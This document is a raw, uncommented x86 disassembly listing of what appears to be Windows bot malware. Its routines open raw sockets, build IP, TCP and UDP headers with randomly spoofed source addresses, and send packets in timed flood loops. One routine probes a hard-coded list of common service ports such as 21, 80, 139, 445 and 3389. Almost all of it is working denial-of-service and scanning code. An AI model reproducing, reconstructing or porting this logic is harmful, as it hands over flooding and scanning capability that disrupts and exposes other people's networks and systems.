dd 0D7FF004Fh, 8D2AE850h, 68590000h, 0FFh, 26A036Ah, 157015FFh
dd 0F8830045h, 0FC4589FFh, 15FF6675h, 451488h, 0C0858D50h
dd 68FFFFFBh, 44BFFCh, 83CAE850h, 0C4830000h, 589D390Ch
dd 75FFFFFFh, 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh
dd 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FEC59CE8h, 14C483FFh
dd 0FBC0858Dh, 0E850FFFFh, 12D7h, 0FF44B5FFh, 80E8FFFFh
dd 59FFFF41h, 1DE85359h, 0A3FFFBB1h, 6ACC4D8Dh, 26A5104h
dd 75895053h, 0D415FFCCh, 83004514h, 6675FFF8h, 148815FFh
dd 8D500045h, 0FFFBC085h, 0C04868FFh, 0E8500044h, 834Ch
dd 390CC483h, 0FFFF589Dh, 532375FFh, 0FBC0858Dh, 0B5FFFFFFh
dd 0FFFFFF54h, 0C4858D50h, 50FFFFFEh, 0FDC0B5FFh, 1EE8FFFFh
dd 83FFFEC5h, 858D14C4h, 0FFFFFBC0h, 1259E850h, 0B5FF0000h
dd 0FFFFFF44h, 0FF4102E8h, 535959FFh, 0FBB09FE8h, 858D22FFh
dd 0FFFFFDC4h, 3015FF50h, 83004515h, 5E75FFF8h, 0FBC0858Dh
dd 9868FFFFh, 500044C0h, 82DBE8h, 589D3900h, 59FFFFFFh
dd 53237559h, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
dd 50FFFFFEh, 0FDC0B5FFh, 0AEE8FFFFh, 83FFFEC4h, 858D14C4h
dd 0FFFFFBC0h, 11E9E850h, 0B5FF0000h, 0FFFFFF44h, 0FF4092E8h
dd 535959FFh, 0FBB02FE8h, 106A64FFh, 53BC458Dh, 8122E850h
dd 0C4830000h, 45C7660Ch, 530002BCh, 14F415FFh, 89660045h
dd 858DBE45h, 0FFFFFDC4h, 3015FF50h, 89004515h, 5D89C045h
dd 89D7FF08h, 0D7FFD045h, 33D0452Bh, 3E8B9D2h, 0F1F70000h
dd 0FF4C853Bh, 870FFFFFh, 2AAh, 45C6286Ah, 15FF45D4h, 4514F4h
dd 0FF509D39h, 8966FFFFh, 8966D645h, 8966D875h, 45C6DA5Dh
dd 45C680DCh, 896606DDh, 2D74DE5Dh, 8B4BE8h, 0C1F08B00h
dd 41E808E6h, 300008Bh, 8E6C1F0h, 8B37E8h, 0C1F00300h
dd 2DE808E6h, 300008Bh, 89016AF0h, 0EB5EE075h, 0C0B5FF16h
dd 0E8FFFFFDh, 0FFFED58Fh, 15FF5059h, 451530h, 8BE04589h
dd 9D39C045h, 0FFFFFF48h, 75E44589h, 8AFAE810h, 0B9990000h
dd 401h, 0EB52F9F7h, 48B5FF06h, 0FFFFFFFFh, 4514F415h
dd 45896600h, 8ADAE8EAh, 0B9990000h, 401h, 0FF52F9F7h
dd 4514F415h, 56786800h, 89661234h, 15FFE845h, 4514F0h
dd 8DEC4589h, 0FFFE4485h, 0C0D068FFh, 0E8500044h, 8AE8h
dd 59C08559h, 5D890974h, 0F545C6F0h, 8D5CEB02h, 0FFFE4485h
dd 0C0D468FFh, 0E8500044h, 8AC8h, 59C08559h, 5D890974h
dd 0F545C6F0h, 8D3CEB10h, 0FFFE4485h, 0C0D868FFh, 0E8500044h
dd 8AA8h, 59C08559h, 5DE82574h, 6A00008Ah, 0F7599903h
dd 0F05589F9h, 8A4FE8h, 99026A00h, 0F7F9F759h, 80D21ADAh
dd 0D1020EE2h, 68F55588h, 200h, 50F445C6h, 14F415FFh, 89660045h
dd 458BF645h, 9C4589E0h, 6AE4458Bh, 5D896614h, 5D8966FAh
dd 0A04589F8h, 0C6A45D88h, 0FF06A545h, 4514F415h, 45896600h
dd 9C458DA6h, 8D50206Ah, 0FFFF6085h, 91E850FFh, 8D000096h
dd 146AE845h, 80458D50h, 9682E850h, 858D0000h, 0FFFFFF60h
dd 0E850346Ah, 0FFFED4A4h, 0F8458966h, 6AD4458Dh, 858D5014h
dd 0FFFFFF60h, 965EE850h, 458D0000h, 50146AE8h, 0FF74858Dh
dd 0E850FFFFh, 964Ch, 458D046Ah, 0E8505388h, 7F00h, 8D44C483h
dd 0FFFF6085h, 50286AFFh, 0FED45FE8h, 458966FFh, 0D4458DDEh
dd 8D50146Ah, 0FFFF6085h, 19E850FFh, 83000096h, 458D14C4h
dd 50106ABCh, 60858D53h, 6AFFFFFFh, 75FF503Ch, 5415FFFCh
dd 83004515h, 874FFF8h, 0E90845FFh, 0FFFFFDBAh, 0FFFC75FFh
dd 45158815h, 8815FF00h, 50004514h, 0FDC4858Dh, 75FFFFFFh
dd 0E0685008h, 8D0044C0h, 0FFFBC085h, 20068FFh, 0E8500000h
dd 80E0h, 3918C483h, 0FFFF589Dh, 532375FFh, 0FBC0858Dh
dd 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h, 50FFFFFEh, 0FDC0B5FFh
dd 0B2E8FFFFh, 83FFFEC1h, 858D14C4h, 0FFFFFBC0h, 0EEDE850h
dd 0B5FF0000h, 0FFFFFF44h, 0FF3D96E8h, 535959FFh, 0FBAD33E8h
dd 75FFB8FFh, 8815FFFCh, 8B004515h, 0D2330845h, 8B3CC06Bh
dd 0AE8C1C8h, 0FF4CB5F7h, 0E9C1FFFFh, 8D505114h, 0FFFDC485h
dd 875FFFFh, 44858D50h, 50FFFFFEh, 0FBC0858Dh, 4868FFFFh
dd 500044C1h, 7F4FE8h, 1CC48300h, 0FF589D39h, 2375FFFFh
dd 0C0858D53h, 0FFFFFFFBh, 0FFFF54B5h, 858D50FFh, 0FFFFFEC4h
dd 0C0B5FF50h, 0E8FFFFFDh, 0FFFEC121h, 8D14C483h, 0FFFBC085h
dd 5CE850FFh, 0FF00000Eh, 0FFFF44B5h, 3D05E8FFh, 5959FFFFh
dd 0ACA2E853h
db 0FBh, 0FFh, 0BBh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41535F proc near ; CODE XREF: seg000:004155FEp
; seg000:0041560Dp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
mov edx, [ebp+arg_0]
push esi
xor esi, esi
cmp eax, 1
mov [ebp+arg_4], esi
jle short loc_41538B
mov ecx, eax
push edi
shr ecx, 1
lea edi, [ecx+ecx]
sub eax, edi
loc_41537D: ; CODE XREF: sub_41535F+26j
movzx edi, word ptr [edx]
add esi, edi
inc edx
inc edx
dec ecx
jnz short loc_41537D
pop edi
cmp eax, 1
loc_41538B: ; CODE XREF: sub_41535F+12j
jnz short loc_415398
mov al, [edx]
mov byte ptr [ebp+arg_4], al
movzx eax, word ptr [ebp+arg_4]
add esi, eax
loc_415398: ; CODE XREF: sub_41535F:loc_41538Bj
mov ecx, esi
and esi, 0FFFFh
sar ecx, 10h
add ecx, esi
pop esi
mov eax, ecx
sar eax, 10h
add eax, ecx
not eax
pop ebp
retn
sub_41535F endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 394h
mov eax, [ebp+8]
push esi
push edi
push 65h
pop ecx
mov esi, eax
lea edi, [ebp-194h]
rep movsd
mov dword ptr [eax+190h], 1
lea eax, [ebp-110h]
push eax
call sub_41D560
pop ecx
push eax
lea eax, [ebp-190h]
push eax
call ds:dword_451530
push eax
lea esi, [ebp-194h]
sub esp, 194h
push 65h
pop ecx
mov edi, esp
rep movsd
call near ptr loc_415465+1
push eax
lea eax, [ebp-394h]
push offset unk_44C1B0
push eax
call sub_41D260
xor esi, esi
add esp, 1A8h
cmp [ebp-8], esi
jnz short loc_415449
push esi
lea eax, [ebp-394h]
push dword ptr [ebp-0Ch]
push eax
lea eax, [ebp-90h]
push eax
push dword ptr [ebp-194h]
call sub_40145D
add esp, 14h
loc_415449: ; CODE XREF: seg000:00415427j
lea eax, [ebp-394h]
push eax
call sub_4161A7
push dword ptr [ebp-10h]
call sub_40905B
pop ecx
pop ecx
push esi
call near ptr 3D0000h
loc_415465: ; CODE XREF: seg000:00415405p
adc dl, [ebp-75h]
in al, dx
sub esp, 0CCh
push ebx
push esi
mov esi, ds:dword_4F1340
xor ebx, ebx
push edi
mov [ebp-4], ebx
call esi ; dword_4F1340
push 0FFh
push 3
push 2
mov [ebp-10h], eax
call ds:dword_451570
mov [ebp-8], eax
call esi ; dword_4F1340
push eax
call sub_41DB90
pop ecx
mov edi, 578h
push edi
push 9
push 1
call sub_41801E
pop ecx
pop ecx
push eax
lea eax, [ebp-28h]
push eax
call sub_41D100
add esp, 0Ch
mov esi, 5A0h
loc_4154C0: ; CODE XREF: seg000:00415699j
call ds:dword_4F1340 ; GetTickCount
sub eax, [ebp-10h]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+1A0h]
ja loc_41569E
cmp ds:dword_4E30C0, ebx
jnz short loc_41553D
push 10h
pop eax
mov [ebp-14h], eax
push eax
lea eax, [ebp-68h]
push ebx
push eax
call sub_41D100
add esp, 0Ch
lea eax, [ebp-14h]
push eax
lea eax, [ebp-68h]
push eax
push dword ptr [ebp+8]
call ds:dword_451498
push 0FFh
push 1
call sub_41801E
push eax
movzx eax, byte ptr [ebp-62h]
push eax
movzx eax, byte ptr [ebp-63h]
push eax
movzx eax, byte ptr [ebp-64h]
push eax
lea eax, [ebp-0CCh]
push offset aD_D_D_D_0 ; "%d.%d.%d.%d"
push eax
call sub_41D260
add esp, 20h
jmp short loc_415550
; ---------------------------------------------------------------------------
loc_41553D: ; CODE XREF: seg000:004154E4j
lea eax, [ebp-0CCh]
push offset dword_4E2AA0
push eax
call sub_41E550
pop ecx
pop ecx
loc_415550: ; CODE XREF: seg000:0041553Bj
lea eax, [ebp-0CCh]
push eax
call ds:dword_451530
mov [ebp-0Ch], eax
mov eax, [ebp-58h]
and al, 45h
push esi
or al, 45h
mov byte ptr [ebp-54h], 10h
mov [ebp-58h], eax
call ds:dword_4514F4
mov [ebp-52h], ax
call sub_41DBA0
mov [ebp-50h], ax
mov eax, [ebp-0Ch]
mov [ebp-48h], eax
mov eax, [ebp+19Ch]
mov word ptr [ebp-4Eh], 40h
mov byte ptr [ebp-4Ch], 40h
mov byte ptr [ebp-4Bh], 6
mov [ebp-4Ah], bx
mov [ebp-44h], eax
call sub_41DBA0
mov [ebp-40h], ax
call sub_41DBA0
mov [ebp-3Eh], ax
call sub_41DBA0
mov [ebp-3Ch], eax
call sub_41DBA0
mov [ebp-38h], eax
mov eax, [ebp-34h]
and ax, 0FF50h
push 14h
or al, 50h
mov byte ptr [ebp-32h], 18h
mov [ebp-34h], ax
mov ax, [ebp-3Eh]
mov [ebp-76h], ax
mov eax, [ebp-44h]
mov [ebp-74h], eax
lea eax, [ebp-58h]
push eax
mov word ptr [ebp-30h], 787Dh
mov [ebp-2Eh], bx
mov [ebp-2Ch], bx
mov word ptr [ebp-78h], 2
call sub_41535F
mov [ebp-4Ah], ax
lea eax, [ebp-58h]
push 28h
push eax
call sub_41535F
mov eax, [ebp-48h]
add esp, 10h
mov [ebp-0ACh], eax
mov eax, [ebp-44h]
push 58Ch
mov [ebp-0A8h], eax
mov [ebp-0A4h], bl
mov byte ptr [ebp-0A3h], 6
call ds:dword_4F14D4 ; ntohs
mov [ebp-0A2h], ax
lea eax, [ebp-0A0h]
push 14h
push eax
lea eax, [ebp-40h]
push eax
call sub_41E840
lea eax, [ebp-8Ch]
push edi
push eax
lea eax, [ebp-28h]
push eax
call sub_41E840
lea eax, [ebp-0ACh]
push 598h
push eax
call sub_41535F
add esp, 20h
mov [ebp-2Eh], ax
push 10h
lea eax, [ebp-78h]
push eax
push ebx
lea eax, [ebp-58h]
push esi
push eax
push dword ptr [ebp-8]
call ds:dword_451554
inc dword ptr [ebp-4]
jmp loc_4154C0
; ---------------------------------------------------------------------------
loc_41569E: ; CODE XREF: seg000:004154D8j
push dword ptr [ebp-8]
call ds:dword_451588
mov eax, [ebp-4]
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 414h
mov edx, [ebp+8]
push esi
mov eax, 85h
push edi
mov ecx, eax
mov esi, edx
lea edi, [ebp-214h]
sub esp, 214h
rep movsd
mov ecx, eax
lea esi, [ebp-214h]
mov edi, esp
mov dword ptr [edx+210h], 1
rep movsd
call sub_415725
push eax
lea eax, [ebp-414h]
push offset unk_44C208
push eax
call sub_41D260
add esp, 220h
lea eax, [ebp-414h]
push eax
call sub_4161A7
push dword ptr [ebp-10h]
call sub_40905B
pop ecx
pop ecx
push 0
call near ptr 3D0000h
insb
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415725 proc near ; CODE XREF: seg000:004156EAp
var_254 = byte ptr -254h
var_54 = byte ptr -54h
var_34 = byte ptr -34h
var_30 = byte ptr -30h
var_2F = byte ptr -2Fh
var_2E = byte ptr -2Eh
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_84 = byte ptr 8Ch
arg_104 = byte ptr 10Ch
arg_184 = byte ptr 18Ch
arg_208 = dword ptr 210h
arg_20C = dword ptr 214h
push ebp
mov ebp, esp
sub esp, 254h
push ebx
push esi
mov ebx, 0FFh
push edi
push ebx
push 3
push 2
call ds:dword_451570
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jnz short loc_415763
lea eax, [ebp+var_254]
push offset unk_44C268
push eax
call sub_41D260
pop ecx
xor edi, edi
pop ecx
jmp loc_415A29
; ---------------------------------------------------------------------------
loc_415763: ; CODE XREF: sub_415725+22j
lea ecx, [ebp+var_14]
push 4
push ecx
xor edi, edi
push 2
push edi
push eax
mov [ebp+var_14], 1
call ds:dword_4514D4
cmp eax, 0FFFFFFFFh
jnz short loc_41578F
call ds:dword_451488
push eax
push offset unk_44C2B4
jmp short loc_4157AA
; ---------------------------------------------------------------------------
loc_41578F: ; CODE XREF: sub_415725+5Aj
lea eax, [ebp+arg_4]
push eax
call ds:dword_451530
cmp eax, 0FFFFFFFFh
jnz short loc_4157BE
call ds:dword_451488
push eax
push offset unk_44C324
loc_4157AA: ; CODE XREF: sub_415725+68j
lea eax, [ebp+var_254]
push eax
call sub_41D260
add esp, 0Ch
jmp loc_415A29
; ---------------------------------------------------------------------------
loc_4157BE: ; CODE XREF: sub_415725+77j
push edi
mov [ebp+var_24], 2
call ds:dword_4514F4
mov [ebp+var_22], ax
lea eax, [ebp+arg_4]
push eax
call ds:dword_4F14F0 ; inet_addr
mov esi, ds:dword_4F1340
mov [ebp+var_20], eax
call esi ; dword_4F1340
mov [ebp+var_8], eax
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_254]
push offset unk_44C388
push eax
call sub_41D260
add esp, 0Ch
cmp [ebp+arg_20C], edi
jnz short loc_415827
push edi
lea eax, [ebp+var_254]
push [ebp+arg_208]
push eax
lea eax, [ebp+arg_184]
push eax
push [ebp+arg_0]
call sub_40145D
add esp, 14h
loc_415827: ; CODE XREF: sub_415725+E0j
mov [ebp+var_4], edi
call esi ; dword_4F1340
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, eax
lea eax, [ebp+arg_104]
push eax
call sub_41D560
cmp esi, eax
pop ecx
ja loc_4159E0
mov esi, 41Ch
jmp short loc_41585B
; ---------------------------------------------------------------------------
loc_415856: ; CODE XREF: sub_415725+2B5j
mov ebx, 0FFh
loc_41585B: ; CODE XREF: sub_415725+12Fj
cmp ds:dword_4E30C0, edi
jnz short loc_4158B3
push 10h
pop eax
mov [ebp+var_10], eax
push eax
lea eax, [ebp+var_34]
push edi
push eax
call sub_41D100
add esp, 0Ch
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+arg_0]
call ds:dword_451498
push ebx
push 1
call sub_41801E
push eax
movzx eax, [ebp+var_2E]
push eax
movzx eax, [ebp+var_2F]
push eax
movzx eax, [ebp+var_30]
push eax
lea eax, [ebp+var_54]
push offset aD_D_D_D_1 ; "%d.%d.%d.%d"
push eax
call sub_41D260
add esp, 20h
jmp short loc_4158C3
; ---------------------------------------------------------------------------
loc_4158B3: ; CODE XREF: sub_415725+13Cj
lea eax, [ebp+var_54]
push offset dword_4E2AA0
push eax
call sub_41E550
pop ecx
pop ecx
loc_4158C3: ; CODE XREF: sub_415725+18Cj
push esi
mov ds:byte_4E2CA0, 45h
call ds:dword_4514F4
mov ds:word_4E2CA2, ax
lea eax, [ebp+var_54]
push eax
mov ds:word_4E2CA4, 1
mov ds:word_4E2CA6, di
mov ds:byte_4E2CA8, 80h
mov ds:byte_4E2CA9, 11h
mov ds:word_4E2CAA, di
call ds:dword_451530
mov ds:dword_4E2CAC, eax
mov eax, [ebp+var_20]
mov ds:dword_4E2CB0, eax
lea eax, [ebp+arg_84]
push eax
mov ds:word_4E2CBA, di
call sub_41D560
test eax, eax
pop ecx
jnz short loc_41593B
call sub_41DBA0
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_415949
; ---------------------------------------------------------------------------
loc_41593B: ; CODE XREF: sub_415725+204j
lea eax, [ebp+arg_84]
push eax
call sub_41D560
pop ecx
push eax
loc_415949: ; CODE XREF: sub_415725+214j
call ds:dword_4514F4
mov ds:word_4E2CB6, ax
call sub_41DBA0
cdq
mov ecx, 401h
push 408h
idiv ecx
mov ds:word_4E2CB4, dx
call ds:dword_4514F4
push 400h
mov ds:word_4E2CB8, ax
call sub_41DBA0
cdq
idiv ebx
push edx
push offset dword_4E2CBC
call sub_41D100
add esp, 0Ch
lea eax, [ebp+var_24]
push 10h
push eax
push edi
push esi
push offset byte_4E2CA0
push [ebp+var_C]
call ds:dword_451554
cmp eax, 0FFFFFFFFh
jz loc_415A58
inc [ebp+var_4]
call ds:dword_4F1340 ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, eax
lea eax, [ebp+arg_104]
push eax
call sub_41D560
cmp ebx, eax
pop ecx
jbe loc_415856
loc_4159E0: ; CODE XREF: sub_415725+124j
push [ebp+var_C]
call ds:dword_451588
mov esi, [ebp+var_4]
lea eax, [ebp+arg_104]
push eax
imul esi, 41Ch
call sub_41D560
mov ecx, eax
mov eax, esi
shr eax, 0Ah
xor edx, edx
div ecx
shr esi, 14h
push eax
push esi
push [ebp+var_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_254]
push offset unk_44C48C
push eax
call sub_41D260
add esp, 1Ch
loc_415A29: ; CODE XREF: sub_415725+39j
; sub_415725+94j ...
cmp [ebp+arg_20C], edi
jnz short loc_415A51
push edi
lea eax, [ebp+var_254]
push [ebp+arg_208]
push eax
lea eax, [ebp+arg_184]
push eax
push [ebp+arg_0]
call sub_40145D
add esp, 14h
loc_415A51: ; CODE XREF: sub_415725+30Aj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_415A58: ; CODE XREF: sub_415725+289j
push [ebp+var_4]
push esi
call ds:dword_451488
push eax
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_254]
push offset unk_44C3E0
push eax
call sub_41D260
add esp, 18h
jmp short loc_415A29
sub_415725 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+8]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp-214h]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp-110h]
push eax
call sub_41D560
pop ecx
push eax
lea eax, [ebp-190h]
push eax
call sub_41D560
pop ecx
push eax
lea eax, [ebp-210h]
push eax
call ds:dword_451530
push eax
call sub_415C17
push eax
lea eax, [ebp-414h]
push offset unk_44C510
push eax
call sub_41D260
xor esi, esi
add esp, 18h
cmp [ebp-8], esi
jnz short loc_415B0F
push esi
lea eax, [ebp-414h]
push dword ptr [ebp-0Ch]
push eax
lea eax, [ebp-90h]
push eax
push dword ptr [ebp-214h]
call sub_40145D
add esp, 14h
loc_415B0F: ; CODE XREF: seg000:00415AEDj
lea eax, [ebp-414h]
push eax
call sub_4161A7
push dword ptr [ebp-10h]
call sub_40905B
pop ecx
pop ecx
push esi
call near ptr 3D0000h
push edx
pop edi
pop esi
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415B2E proc near ; CODE XREF: sub_415C17+191p
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
and [ebp+var_4], 0
cmp [ebp+arg_C], 0
push esi
push edi
jnz short loc_415B57
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_4F14B4 ; connect
jmp loc_415C13
; ---------------------------------------------------------------------------
loc_415B57: ; CODE XREF: sub_415B2E+13j
mov esi, [ebp+arg_0]
push 1
pop edi
lea eax, [ebp+var_8]
push eax
push 8004667Eh
push esi
mov [ebp+var_8], edi
call ds:dword_4F14C0 ; ioctlsocket
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call ds:dword_45149C
push [ebp+arg_C]
lea eax, [ebp+var_210]
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
push 0
push eax
lea eax, [ebp+var_10C]
mov [ebp+var_20C], esi
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_210], edi
call ds:dword_4514DC
test eax, eax
jnz short loc_415BBB
or eax, 0FFFFFFFFh
jmp short loc_415C13
; ---------------------------------------------------------------------------
loc_415BBB: ; CODE XREF: sub_415B2E+86j
or edi, 0FFFFFFFFh
cmp eax, edi
jnz short loc_415BC6
loc_415BC2: ; CODE XREF: sub_415B2E+B8j
; sub_415B2E+DCj
mov eax, edi
jmp short loc_415C13
; ---------------------------------------------------------------------------
loc_415BC6: ; CODE XREF: sub_415B2E+92j
lea eax, [ebp+var_10C]
push eax
push esi
call sub_437842 ; __WSAFDIsSet
test eax, eax
jnz short loc_415BE8
lea eax, [ebp+var_210]
push eax
push esi
call sub_437842 ; __WSAFDIsSet
test eax, eax
jz short loc_415BC2
loc_415BE8: ; CODE XREF: sub_415B2E+A7j
lea eax, [ebp+arg_0]
mov [ebp+arg_0], 4
push eax
lea eax, [ebp+var_4]
push eax
push 1007h
push 0FFFFh
push esi
call ds:dword_4F14A8 ; getsockopt
cmp eax, edi
jz short loc_415BC2
mov eax, [ebp+var_4]
neg eax
sbb eax, eax
loc_415C13: ; CODE XREF: sub_415B2E+24j
; sub_415B2E+8Bj ...
pop edi
pop esi
leave
retn
sub_415B2E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415C17 proc near ; CODE XREF: seg000:00415ACEp
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = byte ptr -100h
var_9C = word ptr -9Ch
var_9A = word ptr -9Ah
var_98 = dword ptr -98h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10Ch
push ebx
push esi
push edi
push 1
pop esi
xor ebx, ebx
push esi
push ebx
push ebx
push 0FFh
push 3
push 2
mov [ebp+var_14], esi
call ds:dword_4F14A4 ; WSASocketA
lea ecx, [ebp+var_14]
push 4
push ecx
push 2
push ebx
push eax
mov ds:dword_4E3130, eax
call ds:dword_4514D4
call ds:dword_4F1340 ; GetTickCount
push eax
call sub_41DB90
pop ecx
xor eax, eax
push 19h
lea edi, [ebp+var_100]
pop ecx
mov [ebp+var_10C], ebx
mov [ebp+var_7C], ecx
mov [ebp+var_108], ebx
mov [ebp+var_104], ebx
mov [ebp+var_8C], 401h
mov [ebp+var_88], 15h
mov [ebp+var_84], 16h
mov [ebp+var_80], 17h
mov [ebp+var_78], 35h
mov [ebp+var_74], 50h
mov [ebp+var_70], 51h
mov [ebp+var_6C], 58h
mov [ebp+var_68], 6Eh
mov [ebp+var_64], 71h
mov [ebp+var_60], 77h
mov [ebp+var_5C], 87h
mov [ebp+var_58], 89h
mov [ebp+var_54], 8Bh
mov [ebp+var_50], 8Fh
mov [ebp+var_4C], 1BBh
mov [ebp+var_48], 1BDh
mov [ebp+var_44], 400h
mov [ebp+var_40], 599h
mov [ebp+var_3C], 5DCh
mov [ebp+var_38], 6B8h
mov [ebp+var_34], 0CEAh
mov [ebp+var_30], 0D3Dh
mov [ebp+var_2C], 1388h
mov [ebp+var_28], 1A0Bh
mov [ebp+var_24], 1F40h
mov [ebp+var_20], 1F90h
rep stosd
mov [ebp+var_10], ebx
mov [ebp+var_1C], 3
mov [ebp+var_18], 0BB8h
mov [ebp+var_4], ebx
loc_415D5B: ; CODE XREF: sub_415C17+1BEj
mov eax, [ebp+arg_0]
mov [ebp+var_9C], 2
mov [ebp+var_98], eax
mov eax, [ebp+var_4]
lea edi, [ebp+eax+var_8C]
mov ax, word ptr [ebp+eax+var_8C]
push eax
call ds:dword_4514F4
push ebx
push esi
push 2
mov [ebp+var_9A], ax
call ds:dword_451570
lea ecx, [ebp+var_1C]
mov [ebp+var_C], eax
push ecx
lea ecx, [ebp+var_9C]
push 10h
push ecx
push eax
call sub_415B2E
add esp, 10h
mov [ebp+var_8], eax
push [ebp+var_C]
call ds:dword_451588
cmp [ebp+var_8], ebx
jnz short loc_415DCD
mov ecx, [ebp+var_4]
mov eax, [edi]
mov [ebp+ecx+var_10C], eax
loc_415DCD: ; CODE XREF: sub_415C17+1A8j
add [ebp+var_4], 4
cmp [ebp+var_4], 70h
jl short loc_415D5B
mov esi, offset dword_4E3134
push offset asc_44C554 ; " "
push esi
call sub_41D260
mov edi, ds:dword_4F1340
pop ecx
pop ecx
call edi ; dword_4F1340
mov [ebp+var_C], eax
lea eax, [ebp+var_10C]
mov [ebp+var_4], ebx
mov [ebp+var_8], eax
loc_415E00: ; CODE XREF: sub_415C17+23Fj
call edi ; dword_4F1340
sub eax, [ebp+var_C]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_4]
ja short loc_415E58
mov eax, [ebp+var_8]
mov eax, [eax]
cmp eax, ebx
jz short loc_415E31
push eax
push esi
push offset aSD_3 ; "%s%d "
push esi
mov [ebp+var_10], eax
call sub_41D260
add esp, 10h
jmp short loc_415E4B
; ---------------------------------------------------------------------------
loc_415E31: ; CODE XREF: sub_415C17+203j
push 0FFFFh
push ebx
call sub_41801E
pop ecx
pop ecx
push eax
call ds:dword_4514F4
movzx eax, ax
mov [ebp+var_10], eax
loc_415E4B: ; CODE XREF: sub_415C17+218j
inc [ebp+var_4]
add [ebp+var_8], 4
cmp [ebp+var_4], 1Ch
jl short loc_415E00
loc_415E58: ; CODE XREF: sub_415C17+1FAj
; sub_415C17+46Bj
push 28h
push ebx
push offset byte_4E30D0
call sub_41D100
mov esi, 0FFFFh
mov ds:byte_4E30D0, 45h
push esi
push 400h
mov ds:byte_4E30D9, 6
mov ds:byte_4E30D1, 8
call sub_41801E
add esp, 14h
push eax
call ds:dword_4514F4
push 28h
mov ds:word_4E30D4, ax
call ds:dword_4514F4
or ds:byte_4E30D8, 0FFh
cmp ds:dword_4E30C0, ebx
mov ds:word_4E30D2, ax
mov ds:word_4E30D6, bx
jnz short loc_415EC9
push [ebp+arg_0]
call sub_416091
pop ecx
jmp short loc_415ED4
; ---------------------------------------------------------------------------
loc_415EC9: ; CODE XREF: sub_415C17+2A5j
push offset dword_4E2AA0
call ds:dword_451530
loc_415ED4: ; CODE XREF: sub_415C17+2B0j
mov ds:dword_4E30DC, eax
mov eax, [ebp+arg_0]
push 4000h
mov ds:dword_4E30E0, eax
mov ds:byte_4E30F1, bl
call ds:dword_4514F4
push esi
push ebx
mov ds:word_4E30F2, ax
call sub_41801E
mov edi, eax
push esi
push ebx
shl edi, 8
call sub_41801E
add esp, 10h
add edi, eax
push edi
call ds:dword_4514F0
mov ds:dword_4E30E8, eax
mov al, ds:byte_4E30F0
mov edi, [ebp+arg_0]
and al, 0Fh
or al, 50h
push 14h
mov ds:byte_4E30F0, al
mov ax, word ptr [ebp+var_10]
mov ds:dword_4E30EC, ebx
mov ds:word_4E30F6, bx
mov ds:word_4E30E6, ax
mov ds:dword_4E310C, edi
mov ds:byte_4E3110, bl
mov ds:byte_4E3111, 6
call ds:dword_4514F4
mov ds:word_4E3112, ax
mov ax, ds:word_4E30E6
mov ds:word_4E30F8, 2
